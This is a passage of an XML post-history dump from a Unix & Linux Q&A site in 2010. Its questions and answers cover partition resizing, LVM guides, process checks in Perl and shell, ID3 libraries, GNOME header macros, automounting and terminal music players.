  <row Id="5406" PostHistoryTypeId="2" PostId="2605" RevisionGUID="de3c8ac6-df4e-46c3-8b55-a4c9d6c7e7b7" CreationDate="2010-10-02T01:16:31.037" UserId="2103" Text="I have CentOS 5.5 installed, I have no un-partitioned space and the only ext3 partition I have is huge with lots of free space.&#xD;&#xA;&#xD;&#xA;Can I change that partition size in order to allocate another one? I want to create new partitions in order to install another distribution there (Ubuntu).&#xD;&#xA;&#xD;&#xA;I tried to do it through the volume administration tool in CentOS, but when I edit the partition size and confirm, it says that it is mounted in / and it needs to be un-mounted before re-sizing, which of course fails.&#xD;&#xA;&#xD;&#xA;Any suggestion?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5407" PostHistoryTypeId="1" PostId="2605" RevisionGUID="de3c8ac6-df4e-46c3-8b55-a4c9d6c7e7b7" CreationDate="2010-10-02T01:16:31.037" UserId="2103" Text="Change main partition size to install another distribution." />
  <row Id="5408" PostHistoryTypeId="3" PostId="2605" RevisionGUID="de3c8ac6-df4e-46c3-8b55-a4c9d6c7e7b7" CreationDate="2010-10-02T01:16:31.037" UserId="2103" Text="épartitionà" />
  <row Id="5409" PostHistoryTypeId="2" PostId="2606" RevisionGUID="006d9949-71c1-4aa7-a243-ab4e1c50d944" CreationDate="2010-10-02T01:20:40.753" UserId="2105" Text="When installing something from source (say, Ruby 1.9.2), what command can I run to get a **complete** list of all the dependencies needed to install that application? Is this possible?" />
  <row Id="5410" PostHistoryTypeId="1" PostId="2606" RevisionGUID="006d9949-71c1-4aa7-a243-ab4e1c50d944" CreationDate="2010-10-02T01:20:40.753" UserId="2105" Text="Get list of required libraries when installing something from source" />
  <row Id="5411" PostHistoryTypeId="3" PostId="2606" RevisionGUID="006d9949-71c1-4aa7-a243-ab4e1c50d944" CreationDate="2010-10-02T01:20:40.753" UserId="2105" Text="éinstallàésourceàécompileà" />
  <row Id="5412" PostHistoryTypeId="2" PostId="2607" RevisionGUID="e8abe80d-c1c4-4ffd-a8dc-526d662ce77c" CreationDate="2010-10-02T01:26:00.660" UserId="327" Text="You should probably look at [GParted][1]; as long as you're working in Gnome it'll work without data loss. If not, there's a LiveCD/media version which lets you boot and reconfigure without involving the current OS.&#xD;&#xA;&#xD;&#xA;Something to consider for future system setups is using LVM, which allows this kind of reallocation on the fly without special software. I'm pretty sure you can't convert an existing filesystem to LVM without rebuilding it. I use LVM on one of my home systems, and it makes adding additional physical drives pretty trivial - they just get added to the volume group, and then I allocate as needed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gparted.sourceforge.net/" />
  <row Id="5413" PostHistoryTypeId="2" PostId="2608" RevisionGUID="ed015886-6d1d-40f3-b2b5-34d3cb44965f" CreationDate="2010-10-02T01:27:31.087" UserId="2106" Text="The complications that arise from creating and handling initrds is rendered moot if you use grub2. The grub2 wiki http://grub.enbug.org/LVMandRAID describes how you can have your /boot on lvm with nothing more than an insmod lvm in grub.cfg, the grub configuration file.&#xD;&#xA;&#xD;&#xA;grub2 is still in the experimental branch in gentoo, it can be installed in another slot and is perfectly usable.&#xD;&#xA;&#xD;&#xA;Enjoy!&#xD;&#xA;" />
  <row Id="5414" PostHistoryTypeId="6" PostId="2606" RevisionGUID="2acd70eb-0aea-45cd-bfb8-6f63e9130392" CreationDate="2010-10-02T01:36:24.117" UserId="1207" Comment="edited tags" Text="éinstallàésourceàécompileàédependenciesà" />
  <row Id="5415" PostHistoryTypeId="2" PostId="2609" RevisionGUID="77b748f7-18ed-4530-88f3-c497c3320488" CreationDate="2010-10-02T01:36:35.833" UserId="2103" Text="I'm planning to user LVM in my next linux installation, any links to good LVM tutorials/guides/FAQs would be welcomed.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="5416" PostHistoryTypeId="1" PostId="2609" RevisionGUID="77b748f7-18ed-4530-88f3-c497c3320488" CreationDate="2010-10-02T01:36:35.833" UserId="2103" Text="Any good LVM tutorial?" />
  <row Id="5417" PostHistoryTypeId="3" PostId="2609" RevisionGUID="77b748f7-18ed-4530-88f3-c497c3320488" CreationDate="2010-10-02T01:36:35.833" UserId="2103" Text="élvmà" />
  <row Id="5418" PostHistoryTypeId="5" PostId="2607" RevisionGUID="f08d5298-e902-4ee1-9a00-6ebad40d9acc" CreationDate="2010-10-02T01:43:35.973" UserId="327" Comment="Edited to add requested links" Text="You should probably look at [GParted][1]; as long as you're working in Gnome it'll work without data loss. If not, there's a LiveCD/media version which lets you boot and reconfigure without involving the current OS.&#xD;&#xA;&#xD;&#xA;Something to consider for future system setups is using LVM ([**man** page][2], [Wikipedia reference][3], [additional detailed reference][4]), which allows this kind of reallocation on the fly without special software. I'm pretty sure you can't convert an existing filesystem to LVM without rebuilding it. I use LVM on one of my home systems, and it makes adding additional physical drives pretty trivial - they just get added to the volume group, and then I allocate as needed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gparted.sourceforge.net/&#xD;&#xA;  [2]: http://linux.die.net/man/8/lvm&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Logical_volume_management&#xD;&#xA;  [4]: http://www.markus-gattol.name/ws/lvm.html" />
  <row Id="5419" PostHistoryTypeId="2" PostId="2610" RevisionGUID="79b13ae2-477b-4ac5-a141-4cbf087945e6" CreationDate="2010-10-02T01:46:20.503" UserId="1942" Text="I'm unclear on what you are asking. Are you asking if there are legal reasons why you cannot use the same license to run from regular boot and a VM, the answer is that Microsoft claims you cannot and Windows authentication requires you to buy a second license.&#xD;&#xA;&#xD;&#xA;If you are asking about the technical problems then I think Giiles has answered them fairly well.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5420" PostHistoryTypeId="2" PostId="2611" RevisionGUID="351dee1e-0ed5-4df0-8365-6613e8b0d0d8" CreationDate="2010-10-02T01:50:31.630" UserId="1264" Text="You can use virtual users (and domains) stored on a database so you don't need to create linux users to the mailboxes and the admin of the mail users and domain is very simple, just adding or removing a record in the database table.&#xD;&#xA;&#xD;&#xA;[an example for ubuntu, postfix and mysql][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtoforge.com/virtual-users-domains-postfix-courier-mysql-squirrelmail-ubuntu-10.04" />
  <row Id="5421" PostHistoryTypeId="2" PostId="2612" RevisionGUID="fe12dd7e-9f95-442b-86b9-f6ae7600d9a9" CreationDate="2010-10-02T01:51:54.813" UserId="1942" Text="The smart and safe thing to do is to boot from a live CD and resize from the CD since the partition does not have to be mounted in that case. &#xD;&#xA;&#xD;&#xA;Parted magic is a live CD especially made to repartition drives.&#xD;&#xA;&#xD;&#xA;PS Take the LVM suggestion with a grain of salt. For me LVM seems to use a lot of resources.&#xD;&#xA;Of course YMMV.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5422" PostHistoryTypeId="2" PostId="2613" RevisionGUID="9a18e758-1d4e-4544-994c-c21bd8d1a63b" CreationDate="2010-10-02T02:04:03.160" UserId="138" Text="&lt;a href=&quot;http://id3lib.sourceforge.net/&quot;&gt;id3lib&lt;/a&gt; has an OO C++ interface you may like.  It is licensed under the LGPL.&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://www.underbit.com/products/mad/&quot;&gt;MAD&lt;/a&gt; MPEG audio decoder includes an ID3 manipulation component.  Since it is used as the underlying decoder for so many applications &amp;mdash; there's a long list on the page I linked to &amp;mdash; it may be in your distro's repository already.  It is GPL'd." />
  <row Id="5423" PostHistoryTypeId="6" PostId="2604" RevisionGUID="8c5c5376-faca-4dff-8e1f-a6c0dbfab59f" CreationDate="2010-10-02T02:04:56.937" UserId="138" Comment="tag fix, tags added" Text="élinuxàélibrariesàécççàémp3àéid3à" />
  <row Id="5424" PostHistoryTypeId="5" PostId="1107" RevisionGUID="517eb98c-33bc-41d3-a815-fb4a2b53c858" CreationDate="2010-10-02T02:20:39.603" UserId="203" Comment="add the full title and author to the post" Text="[Linux Kernel 2.4 Internals][1] is another online resource to look at.  It appears to take a pretty 'ground up' approach, starting with booting.  Here the the TOC:&#xD;&#xA;&#xD;&#xA; 1. Booting&#xD;&#xA;    * 1.1 Building the Linux Kernel Image&#xD;&#xA;    * 1.2 Booting: Overview&#xD;&#xA;    * 1.3 Booting: BIOS POST&#xD;&#xA;    * 1.4 Booting: bootsector and setup&#xD;&#xA;    * 1.5 Using LILO as a bootloader&#xD;&#xA;    * 1.6 High level initialisation&#xD;&#xA;    * 1.7 SMP Bootup on x86&#xD;&#xA;    * 1.8 Freeing initialisation data and code&#xD;&#xA;    * 1.9 Processing kernel command line   &#xD;&#xA; 2. Process and Interrupt Management&#xD;&#xA;    * 2.1 Task Structure and Process Table&#xD;&#xA;    * 2.2 Creation and termination of tasks and kernel threads&#xD;&#xA;    * 2.3 Linux Scheduler&#xD;&#xA;    * 2.4 Linux linked list implementation&#xD;&#xA;    * 2.5 Wait Queues&#xD;&#xA;    * 2.6 Kernel Timers&#xD;&#xA;    * 2.7 Bottom Halves&#xD;&#xA;    * 2.8 Task Queues&#xD;&#xA;    * 2.9 Tasklets&#xD;&#xA;    * 2.10 Softirqs&#xD;&#xA;    * 2.11 How System Calls Are Implemented on i386 Architecture?&#xD;&#xA;    * 2.12 Atomic Operations&#xD;&#xA;    * 2.13 Spinlocks, Read-write Spinlocks and Big-Reader Spinlocks&#xD;&#xA;    * 2.14 Semaphores and read/write Semaphores&#xD;&#xA;    * 2.15 Kernel Support for Loading Modules &#xD;&#xA; 4. Virtual Filesystem (VFS)&#xD;&#xA;    * 3.1 Inode Caches and Interaction with Dcache&#xD;&#xA;    * 3.2 Filesystem Registration/Unregistration&#xD;&#xA;    * 3.3 File Descriptor Management&#xD;&#xA;    * 3.4 File Structure Management&#xD;&#xA;    * 3.5 Superblock and Mountpoint Management&#xD;&#xA;    * 3.6 Example Virtual Filesystem: pipefs&#xD;&#xA;    * 3.7 Example Disk Filesystem: BFS&#xD;&#xA;    * 3.8 Execution Domains and Binary Formats &#xD;&#xA; 5. Linux Page Cache&#xD;&#xA; 6. IPC mechanisms&#xD;&#xA;    * 5.1 Semaphores&#xD;&#xA;    * 5.2 Message queues&#xD;&#xA;    * 5.3 Shared Memory&#xD;&#xA;    * 5.4 Linux IPC Primitives &#xD;&#xA;&#xD;&#xA;And, to make it even sweeter, there is a new Linux Kernel Development Third Edition by Robert Love out and [Slashdot has a review.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.moses.uklinux.net/patches/lki.html&#xD;&#xA;  [2]: http://linux.slashdot.org/story/10/10/01/1315233/Linux-Kernel-Development-3rd-Ed" />
  <row Id="5425" PostHistoryTypeId="2" PostId="2614" RevisionGUID="065e0bf9-1f60-49c3-a995-f1dd5bdf927b" CreationDate="2010-10-02T02:51:41.907" UserDisplayName="sandeep" Text="Hello,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In UNIX, I am checking to see if a process is up by executing the following command;&#xD;&#xA;&#xD;&#xA;E.g.&#xD;&#xA;&#xD;&#xA;    psg dtllst pe99&#xD;&#xA;&#xD;&#xA;This returns the following output if the process is running;&#xD;&#xA;&#xD;&#xA;    UID    PID    PPID    C    STIME    TTY    TIME CMD&#xD;&#xA;    pe99   1234   1       0 03:29:44    pts/8  0:01 dtllst pe99&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now in Perl, I want to be able to find out whether this process is up or not. So far I am doing the following&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    `my $checkProc = `psg dttlst | grep $myNode 2&gt;&amp;1`;`    #where $myNode is something like pe01 or pe02 or pe65 or pe99 etc...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now after this I do the following to see if the above Perl command has returned what I am looking for to see if the process is up;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    if ($checkProc =~ m/dtllst $myNode | $myNode/) {&#xD;&#xA;        #yes, process is up&#xD;&#xA;    } else {&#xD;&#xA;        #no, process is down&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However this is not working - specifically, regardless of whether the UNIX process is alive or not, my code ALWAYS evaluates the if statement as true. I know this is wrong. &#xD;&#xA;I have tried to escape the &quot;$&quot; character in the regex to see if this was the issue and I have also tried removing the Perl variables from within the regex altogether.&#xD;&#xA;&#xD;&#xA;What am I missing here? I know my regex is wrong somewhere :(&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="5426" PostHistoryTypeId="1" PostId="2614" RevisionGUID="065e0bf9-1f60-49c3-a995-f1dd5bdf927b" CreationDate="2010-10-02T02:51:41.907" UserDisplayName="sandeep" Text="Using regex to see if a UNIX process is up" />
  <row Id="5427" PostHistoryTypeId="3" PostId="2614" RevisionGUID="065e0bf9-1f60-49c3-a995-f1dd5bdf927b" CreationDate="2010-10-02T02:51:41.907" UserDisplayName="sandeep" Text="éunixà" />
  <row Id="5428" PostHistoryTypeId="2" PostId="2615" RevisionGUID="89dab40d-5863-4a32-b1ba-0b7cc91368b8" CreationDate="2010-10-02T04:26:12.007" UserId="1071" Text="I'm not familiar with `psg`, but I know (the hard way, so to speak) if I run `ps ax | grep pe01` to see if any process is running that contains `pe01`, I'll always get a yes, since `grep pe01` is a command that contains &quot;pe01&quot;. &#xD;&#xA;&#xD;&#xA;I don't know perl, but in bash, I get around this like this, e.g., if I want to check if any instance of progname is running, I run `ps ax | grep -c &quot;[p]rogname&quot;`, which solves the problem of always getting a yes. " />
  <row Id="5429" PostHistoryTypeId="5" PostId="2615" RevisionGUID="99b81531-1053-413e-926d-5e6419bd4990" CreationDate="2010-10-02T04:32:34.537" UserId="1071" Comment="added 16 characters in body; added 7 characters in body" Text="I'm not familiar with `psg`, but I know (the hard way, so to speak) if I run `ps ax | grep progname` to see if any process is running that contains `progname`, I'll always get a yes, since `grep progname` is itself a command that contains &quot;progname&quot;. &#xD;&#xA;&#xD;&#xA;I don't know perl, but in bash, I get around this like this, e.g., if I want to check if any instance of progname is running, I run `ps ax | grep -c &quot;[p]rogname&quot;`, which solves the problem of always getting a yes. " />
  <row Id="5430" PostHistoryTypeId="2" PostId="2616" RevisionGUID="3056abec-ac3c-4e43-873d-7b94758c8479" CreationDate="2010-10-02T06:01:30.813" UserId="2080" Text="Short answer: **not possible**. The difficulty of getting the exact dependencies from a source distribution is the reason why package management is so popular on Linux (okay, one of several reasons). In fact, if you just need to get it done and don't care so much how, the most reliable way to get the dependencies will probably be to grab a distro package (gentoo ebuilds are easy to work with) and pull the list of dependencies from that. &#xD;&#xA;&#xD;&#xA;Otherwise, if you're lucky, the maintainers will have created a listing of the dependencies in the README file or similar - that'd be the first place to check. Failing that, if it's a C project and you don't mind getting your hands dirty, you can look inside the configure script (or better yet the configure.ac or whatever it's generated from) and figure out the dependencies from that based on what it checks. " />
  <row Id="5431" PostHistoryTypeId="2" PostId="2617" RevisionGUID="964716eb-1374-4f03-b99e-bf4eb34d9507" CreationDate="2010-10-02T06:07:03.547" UserId="2080" Text="http://www.howtoforge.com/linux_lvm&#xD;&#xA;&#xD;&#xA;http://www.linuxconfig.org/Linux_lvm_-_Logical_Volume_Manager&#xD;&#xA;&#xD;&#xA;These are literally the first few links I get from searching for &quot;LVM tutorial&quot;, this stuff isn't exactly hard to find. ;)" />
  <row Id="5432" PostHistoryTypeId="2" PostId="2618" RevisionGUID="26674d9d-b568-42ae-9f12-7d87fe799e04" CreationDate="2010-10-02T06:11:47.837" UserId="1946" Text="In Ubuntu (Debian): `sudo apt-get build-dep &lt;package&gt;`" />
  <row Id="5433" PostHistoryTypeId="2" PostId="2619" RevisionGUID="52b91aca-dd74-4752-a236-7781811e21cd" CreationDate="2010-10-02T07:09:33.743" UserId="1327" Text="As *Linux/Unix* users, we run into **problems** frequently. And after long hours of problem solving, we develop the *skill of debugging*. &#xD;&#xA;&#xD;&#xA;Now, what are good **principles**, **methods** or **best practises** when trying to debug the general unix problem?&#xD;&#xA;&#xD;&#xA;What **tools** should I have, as the average user, to make finding the cause of problems easier?" />
  <row Id="5434" PostHistoryTypeId="1" PostId="2619" RevisionGUID="52b91aca-dd74-4752-a236-7781811e21cd" CreationDate="2010-10-02T07:09:33.743" UserId="1327" Text="Best practise to diagnose problems" />
  <row Id="5435" PostHistoryTypeId="3" PostId="2619" RevisionGUID="52b91aca-dd74-4752-a236-7781811e21cd" CreationDate="2010-10-02T07:09:33.743" UserId="1327" Text="édebuggingàébestöpractiseà" />
  <row Id="5436" PostHistoryTypeId="2" PostId="2620" RevisionGUID="11a76441-f051-4deb-8c9d-9de4c4d45d01" CreationDate="2010-10-02T07:16:08.283" UserId="1534" Text="The command `pgrep` prints the list of PIDs for all processes (other than itself) that match a `grep`-compatible regular expression.&#xD;&#xA;&#xD;&#xA;It prints nothing if there are no matches.&#xD;&#xA;&#xD;&#xA;This should be a sufficient test: `[ $(pgrep process | wc) -gt 0 ]` is true if the process is running. False if not." />
  <row Id="5437" PostHistoryTypeId="2" PostId="2621" RevisionGUID="1202eb0f-b1a8-43e6-ba9a-3a6e14c6ccda" CreationDate="2010-10-02T07:49:05.783" UserId="1131" Text="[Taglib][1] is quite feature rich.&#xD;&#xA;&#xD;&#xA;It comes as C++ lib without dependencies to Qt or KDE libs. A C API is bundled (and there are a lot of other languages bindings available). A lot of projects (like amarok, juk, vlc ...) use this library.&#xD;&#xA;&#xD;&#xA;The homepage contains some claims some advantages of taglib over id3lib (mainly performance).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.kde.org/~wheeler/taglib.html" />
  <row Id="5438" PostHistoryTypeId="2" PostId="2622" RevisionGUID="ce8655ce-f6ae-44c4-8a1a-a0b2435f52eb" CreationDate="2010-10-02T07:57:58.993" UserId="1290" Text="I don't know if that's what you're looking for, but this is how you can get the PID of your program:&#xD;&#xA;&#xD;&#xA;    ps -e -o pid= -o args= | sed 's/^\s*//' | grep 'dtllst pe99' | cut -d' ' -f1&#xD;&#xA;&#xD;&#xA;This will output all, if any PIDs for the given command with arguments.&#xD;&#xA;&#xD;&#xA;You can use that to pipe it into another program, if you like, and if you need all of the PIDs at once, you can wrap the whole thing in `$()`:&#xD;&#xA;&#xD;&#xA;    MyPIDs=$(ps -e -o pid= -o args= | sed 's/^\s*//' | grep 'dtllst pe99' | cut -d' ' -f1)&#xD;&#xA;    echo $MyPIDs" />
  <row Id="5439" PostHistoryTypeId="2" PostId="2623" RevisionGUID="ff927f91-85f1-45c7-a51c-3d759daeb3d5" CreationDate="2010-10-02T08:04:52.877" UserId="1290" Text="Hi, I'm trying to compile a program with gnome-libs, that uses `True` and `False`, in one of the arguments. But what header file defines them?&#xD;&#xA;&#xD;&#xA;I'm getting the following error:&#xD;&#xA;&#xD;&#xA;    guignome/guignome.c: In function ‘gui_MenuBarEntryShown’:&#xD;&#xA;    guignome/guignome.c:1060: error: ‘False’ undeclared (first use in this function)&#xD;&#xA;    [...]&#xD;&#xA;    guignome/guignome.c: In function ‘creategw’:&#xD;&#xA;    guignome/guignome.c:1309: error: ‘True’ undeclared (first use in this function)&#xD;&#xA;    guignome/guignome.c:1319: error: ‘False’ undeclared (first use in this function)&#xD;&#xA;&#xD;&#xA;...well?" />
  <row Id="5440" PostHistoryTypeId="1" PostId="2623" RevisionGUID="ff927f91-85f1-45c7-a51c-3d759daeb3d5" CreationDate="2010-10-02T08:04:52.877" UserId="1290" Text="Where in Gnome libs, is 'True' and 'False' defined?" />
  <row Id="5441" PostHistoryTypeId="3" PostId="2623" RevisionGUID="ff927f91-85f1-45c7-a51c-3d759daeb3d5" CreationDate="2010-10-02T08:04:52.877" UserId="1290" Text="égnomeàélibrariesàéheaderöfileà" />
  <row Id="5442" PostHistoryTypeId="2" PostId="2624" RevisionGUID="a090af0e-eda1-40c9-82c3-cd34cbfa106a" CreationDate="2010-10-02T08:09:41.000" UserId="1290" Text="* [libid3tag](http://www.underbit.com/products/mad/)&#xD;&#xA;* [taglib](http://developer.kde.org/~wheeler/taglib.html)&#xD;&#xA;&#xD;&#xA;I used them for a tiny program I once wrote. Was quite easy to use." />
  <row Id="5443" PostHistoryTypeId="2" PostId="2625" RevisionGUID="cb542eac-d6b9-4f8c-a682-48f606670ae4" CreationDate="2010-10-02T08:30:29.833" UserId="1458" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I am using Fedora 13. I need to be able to configure how media are mounted automatically. For an example, I want to change the parent of all mounted media to be a directory other than /media. All the material on the Internet seem to be old. I grepped the rules.d of udev but could not find any reference to /media.&#xD;&#xA;&#xD;&#xA;Could anybody know how to do that?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="5444" PostHistoryTypeId="1" PostId="2625" RevisionGUID="cb542eac-d6b9-4f8c-a682-48f606670ae4" CreationDate="2010-10-02T08:30:29.833" UserId="1458" Text="Auto-mounting to a directory other than /media in Fedora 13" />
  <row Id="5445" PostHistoryTypeId="3" PostId="2625" RevisionGUID="cb542eac-d6b9-4f8c-a682-48f606670ae4" CreationDate="2010-10-02T08:30:29.833" UserId="1458" Text="éfedoraàémountàéautomountingàémediaàéudevà" />
  <row Id="5446" PostHistoryTypeId="5" PostId="2596" RevisionGUID="1fe343ce-9547-4186-836c-4382678bb578" CreationDate="2010-10-02T10:06:01.903" UserId="885" Comment="mention AndLinux; conclude on Xen; mention hibernation as a worst-case speed-up" Text="The on-topic part: yes, you can run a virtual machine under Ubuntu.&#xD;&#xA;&#xD;&#xA;CUDA requires direct access to the hardware. That means you'll have to run Windows either directly on the hardware or on a virtualization engine that allows a virtual machine to access hardware devices directly. That pretty much means hypervisor-based virtualization. VirtualBox is definitely out. Google suggests that Xen will do.&#xD;&#xA;&#xD;&#xA;Running a single Windows installation in different hardware configurations (such as the bare metal and a virtual machine) is notoriously difficult. If you really don't want to install Windows, you might prefer to run Ubuntu in a VM under Windows.&#xD;&#xA;&#xD;&#xA;It's not clear from your question whether you also want to run CUDA programs in Ubuntu. If you do, you can boot your existing installation on pretty much any hardware, there's little if any setup required. This does require a virtualization system that can bind a disk partition inside a VM, which I think VMWare can do but not VirtualBox. (It's also possible with VirtualBox by making a custom initrd with the `vboxsfs` module, but that's no longer no-setup-required. An alternative method is to clone the system partition to a virtual machine disk.) **ADDED:** You might want to investigate [AndLinux](http://www.andlinux.org/), which is a port of Ubuntu to [CoLinux](http://www.colinux.org/), a Linux port running on top of Windows; I don't know whether CoLinux can support CUDA.&#xD;&#xA;&#xD;&#xA;Given your workflow, I think your best bet is Xen. If this turns out not to work so that you need to dual boot, note that both OSes support hibernation, so with the right setup you can switch relatively quickly between the two (without needing to log in, restart all programs, etc.).&#xD;&#xA;" />
  <row Id="5447" PostHistoryTypeId="2" PostId="2626" RevisionGUID="ba73fb23-c686-4963-becf-23457f28e005" CreationDate="2010-10-02T10:40:29.303" UserId="1339" Text="The methods will depend on the kind of the problem.&#xD;&#xA;&#xD;&#xA;In general &quot;[How To Ask Questions The Smart Way][1]&quot; by Eric S. Raymond and Rick Moen is sometimes a helpful advice to focus on the problem and to check if you have thought about important parts of the problem.&#xD;&#xA;&#xD;&#xA;Your first source of information during debugging are the logfiles your system/application writes. The common place for them is your terminal or a file in `/var/log/`. Many applications support different types of loglevels which you should increase if you can't find any usable messages. Often there is an `-v` verbose switch to get more messages.&#xD;&#xA;&#xD;&#xA;Still nothing usable? Check your configuration files, permissions of the files needed by the application and maybe you have to change the config of your systemlogger, for example `/etc/syslog-ng.conf`.&#xD;&#xA;&#xD;&#xA;If you have an error message, a google search will often lead to message board entries or usenet postings discussing the problems behind it. Its  likely that you can find a solution there.&#xD;&#xA;A project users mailinglist, message boards and IRC channels can also be very helpful.&#xD;&#xA;&#xD;&#xA;Sometimes applications crash without any messages. A great tool to discover the application flow  , beside reading and modifying the code is `strace`.&#xD;&#xA;&#xD;&#xA;This tool will trace system calls and signals. When errors are caught by the application, you can still discover problems in the systrace.&#xD;&#xA;&#xD;&#xA;Another approach would be debugging the application with `gdb`. You should be an advanced user and know what to do, to use this.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/esr/faqs/smart-questions.html" />
  <row Id="5448" PostHistoryTypeId="2" PostId="2627" RevisionGUID="68cfe4ee-8940-4567-ad23-708303dc980e" CreationDate="2010-10-02T10:43:54.653" UserId="1339" Text="Are you using autofs?&#xD;&#xA;&#xD;&#xA;Did you check `/etc/auto.master` and `/etc/auto.*`?" />
  <row Id="5449" PostHistoryTypeId="2" PostId="2628" RevisionGUID="64e390c2-b7ca-4006-bb8c-6c8f7b13e84d" CreationDate="2010-10-02T11:15:53.750" UserId="274" Text="I found the [LVM HOW-TO](http://tldp.org/HOWTO/LVM-HOWTO/) to be very clear; it has probably more info than you want from a first-time tutorial, but reading sections 1. to 3. and 11. to 13. should give you a comprehensive introduction to LVM concepts and its usage in live systems.&#xD;&#xA;" />
  <row Id="5450" PostHistoryTypeId="2" PostId="2629" RevisionGUID="17c729ba-959d-43b6-b5b4-b78acd957e58" CreationDate="2010-10-02T11:24:01.403" UserId="274" Text="In short: `source /etc/bash_completion` should do the trick (run it in the shell within the SSH session).&#xD;&#xA;" />
  <row Id="5451" PostHistoryTypeId="2" PostId="2630" RevisionGUID="e287cc01-be9c-4825-9fce-4c8ee4e1a03a" CreationDate="2010-10-02T11:37:02.187" UserId="274" Text="Your regexp `m/dtllst $myNode | $myNode/` will match (in particular) any occurrence of `$myNode`.  By construction, `psg dtllst | grep $myNode` will return something that matches `$myNode`, so you regexp always matches.&#xD;&#xA;&#xD;&#xA;If you cannot follow other people's advice and use `pgrep` or `ps ... | grep` or variants thereof, you could either:&#xD;&#xA;&#xD;&#xA;1. set &quot;$checkProc = `psg dtllst | grep 'dtllst $myNode'`;&quot; and then just test if `$checkProc` is non-empty, or&#xD;&#xA;&#xD;&#xA;2. set &quot;$checkProc = `psg dtllst`;&quot; and then match it against `m/dtllst $myNode/`&#xD;&#xA;&#xD;&#xA;3. Use the [Proc::ProcessTable](http://search.cpan.org/dist/Proc-ProcessTable/ProcessTable.pm) CPAN module and just search for an entry `$p` such that `$p-&gt;cmdline =~ m/dtllst $myNode/`" />
  <row Id="5453" PostHistoryTypeId="2" PostId="2632" RevisionGUID="ad7963e4-3e5e-46b7-9387-675194d7f414" CreationDate="2010-10-02T11:59:31.093" UserId="1294" Text="If you really meant `TRUE` and `FALSE` then /usr/include/glib-2.0/glib/gmacros.h has&#xD;&#xA;&#xD;&#xA;    #ifndef	FALSE&#xD;&#xA;    #define	FALSE	(0)&#xD;&#xA;    #endif&#xD;&#xA;    &#xD;&#xA;    #ifndef	TRUE&#xD;&#xA;    #define	TRUE	(!FALSE)&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;If you meant something else, you'll need to specify what you mean by `gnome-libs` more precisely.&#xD;&#xA;" />
  <row Id="5454" PostHistoryTypeId="5" PostId="2628" RevisionGUID="3ac5fb23-5916-4381-b880-71e5a8341d07" CreationDate="2010-10-02T12:12:51.663" UserId="274" Comment="clarified answer" Text="I found the [LVM HOW-TO](http://tldp.org/HOWTO/LVM-HOWTO/) to be very clear.&#xD;&#xA;&#xD;&#xA;It has probably more info than you want from a first-time tutorial, but reading sections 1. to 3. and 11. to 13. should give you a comprehensive introduction to LVM concepts and its usage in live systems; these days, most Linux distribution have good LVM support out-of-the-box, so you can safely skip the &quot;Installation&quot; and &quot;Scripts&quot; parts.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5455" PostHistoryTypeId="2" PostId="2633" RevisionGUID="27670f23-cbbc-4577-b0db-9e00d9e8a716" CreationDate="2010-10-02T12:30:39.673" UserId="250" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm looking for a terminal music player. `mpg321/mpg123` is quite what I need, but it can't [play all my music directory][1] (which contains child directories). `cmus` seems to be a bit of an overkill, as there are a lot of features I never use.&#xD;&#xA;&#xD;&#xA;I just need a program, that I can give it my music directory and perhaps a `--random` flag, then it will play everything with random orders. Can someone point out what options I have?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2588/how-to-pass-the-result-of-find-as-a-list-of-files" />
  <row Id="5456" PostHistoryTypeId="1" PostId="2633" RevisionGUID="27670f23-cbbc-4577-b0db-9e00d9e8a716" CreationDate="2010-10-02T12:30:39.673" UserId="250" Text="minimalistic terminal music player that can play all my files randomly" />
  <row Id="5457" PostHistoryTypeId="3" PostId="2633" RevisionGUID="27670f23-cbbc-4577-b0db-9e00d9e8a716" CreationDate="2010-10-02T12:30:39.673" UserId="250" Text="éterminalàémusicöplayerà" />
  <row Id="5458" PostHistoryTypeId="5" PostId="2608" RevisionGUID="444afecd-924e-454e-a64d-3e165023b346" CreationDate="2010-10-02T12:32:09.620" UserId="2106" Comment="added 71 characters in body; added 15 characters in body" Text="Yes, it is.&#xD;&#xA;&#xD;&#xA;The complications that arise from creating and handling initrds are rendered moot if you install and use grub2. The grub2 wiki http://grub.enbug.org/LVMandRAID describes how you can have your /boot on lvm with nothing more than an insmod lvm in grub.cfg, the grub configuration file, hence no need for an initrd.&#xD;&#xA;&#xD;&#xA;grub2 now at version 1.98 but still in the experimental branch in gentoo. However it can be installed in another slot and is perfectly usable.&#xD;&#xA;&#xD;&#xA;Enjoy!&#xD;&#xA;" />
  <row Id="5459" PostHistoryTypeId="2" PostId="2634" RevisionGUID="19d2603e-9918-4cbc-a052-eafce5ba80c3" CreationDate="2010-10-02T13:19:26.767" UserId="1660" Text="You can easily wrap up a script using *find* and *rl* (package *randomize-lines* on debian).&#xD;&#xA;&#xD;&#xA;Something along the lines of:&#xD;&#xA;&#xD;&#xA;    find &quot;$1&quot; -type -f -name *.mp3 | rl | while read FILE; do mpg123 &quot;$FILE&quot;; done" />
